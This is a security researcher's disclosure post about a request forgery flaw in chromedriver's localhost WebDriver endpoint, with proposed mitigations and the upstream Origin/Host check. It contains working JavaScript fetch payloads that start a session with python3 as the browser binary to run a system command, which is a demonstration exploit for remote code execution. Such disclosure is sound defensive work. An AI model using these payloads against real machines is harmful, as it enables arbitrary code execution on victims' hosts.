/dev/posts/

Cross-origin/same-site request forgery to RCE in chromedriver

Published:

Updated:

I found a cross-origin/same-site request forgery vulnerability in chromedriver. It was rejected (won't fix) because it is only possible to trigger this from the cross-origin/same-site and not cross-site. In practice, it means it is really only possible to trigger this from another localhost-bound web application.

chromedriver is vulnerable to a cross-origin/same-site request forgery vulnerability. This vulnerability can be exploited for remote code execution (RCE) as demonstrated by this exploit:

fetch("http://localhost:9515/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
    },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {
                "goog:chromeOptions": {
                    "binary": "/usr/bin/python3",
                    "args": ["-cimport os;os.system('xterm -e nyancat')"]
                }
            }
        }
    }),
});

I have tested this vulnerability on:

Cross-origin/same-site request forgery

By default, chromedriver listens on http://localhost:9515. This prevents other machines from directly attacking the chromedriver instance. However chromedriver is vulnerable to cross-origin/same-site request forgery attacks as demonstrated by:

fetch("http://localhost:9515/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {}
        }
    };
});

When executed by the user's browser from another origin on the same site, this code spawns a new Chromium instance.

The scope of this attack might seem limited because the attacker cannot easily interact with the created session. Acting on the session through CSRF is possible if the session ID is known but it is not easily possible for the attacker to find the session ID:

Remote Code Execution

It is however possible for the attacker to execute arbitrary commands with the session creation request.

The following properties of goog:chromeOptions are of particular interest:

python3 can be used to execute arbitrary system commands as demonstrated by the following exploit which executes the xterm -e nyancat system command:

fetch("http://localhost:9515/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
    },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {
                "goog:chromeOptions": {
                    "binary": "/usr/bin/python3",
                    "args": ["-cimport os;os.system('xterm -e nyancat')"]
                }
            }
        }
    }),
});

Update 2023-06-08: another options it to use chrome --gpu-launcher="command".

Impact

Any frontend code on a localhost-bound application can get RCE through ChromeDriver: when ChromeDriver is running, a (reflected) XSS vulnerability on another localhost-bound application could be used to trigger RCE.

Propositions of mitigations

Content-Type Validation

This is is possible because chromedriver accepts requests with any Content-Type. Another origin can make POST requests to chromedriver using the following content-types: application/x-www-form-urlencoded, multipart/form-data, text/plain.

chromedriver could fix this vulnerability by rejecting these content-types. chromedriver could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.

It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers I have reported a similar issue on another GeckoDriver. The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionnaly, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.

HTTP-level Authentication

An new command-line flag could be added to chromedriver in order to require some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.

PF_LOCAL Socket

chromedriver could receive a new option to listen on a PF_LOCAL socket. These sockets are normally not accessible by CSRF. This could additionnaly be used to prevent other users on the same machine from talking to the chromedriver instance.

Update

Update 2022-02-13: I turns out that a CSRF vulnerability on chromederiver had been reported a few months before. The fix checks the Origin or Host and only allow some localhost origins (localhost, 127.0.0.1, etc.).

bool RequestIsSafeToServe(const net::HttpServerRequestInfo& info,
                          bool allow_remote,
                          const std::vector<net::IPAddress>& whitelisted_ips) {
  // To guard against browser-originating cross-site requests, when host header
  // and/or origin header are present, serve only those coming from localhost
  // or from an explicitly whitelisted ip.
  std::string origin_header = info.GetHeaderValue("origin");
  bool local_origin = false;
  if (!origin_header.empty()) {
    GURL url = GURL(origin_header);
    local_origin = net::IsLocalhost(url);
    if (!local_origin) {
      if (!allow_remote) {
        LOG(ERROR)
            << "Remote connections not allowed; rejecting request with origin: "
            << origin_header;
        return false;
      }
      if (!whitelisted_ips.empty()) {
        net::IPAddress address = net::IPAddress();
        if (!ParseURLHostnameToAddress(origin_header, &address)) {
          LOG(ERROR) << "Unable to parse origin to IPAddress: "
                     << origin_header;
          return false;
        }
        if (!base::Contains(whitelisted_ips, address)) {
          LOG(ERROR) << "Rejecting request with origin: " << origin_header;
          return false;
        }
      }
    }
  }
  // TODO https://crbug.com/chromedriver/3389
  //  When remote access is allowed and origin is not specified,
  // we should confirm that host is current machines ip or hostname
  if (local_origin || !allow_remote) {
    // when origin is localhost host must be localhost
    // when origin is not set, and no remote access, host must be localhost
    std::string host_header = info.GetHeaderValue("host");
    if (!host_header.empty()) {
      GURL url = GURL("http://" + host_header);
      if (!net::IsLocalhost(url)) {
        LOG(ERROR) << "Rejecting request with host: " << host_header
                   << ". origin is " << origin_header;
        return false;
      }
    }
  }
  return true;
}

Timeline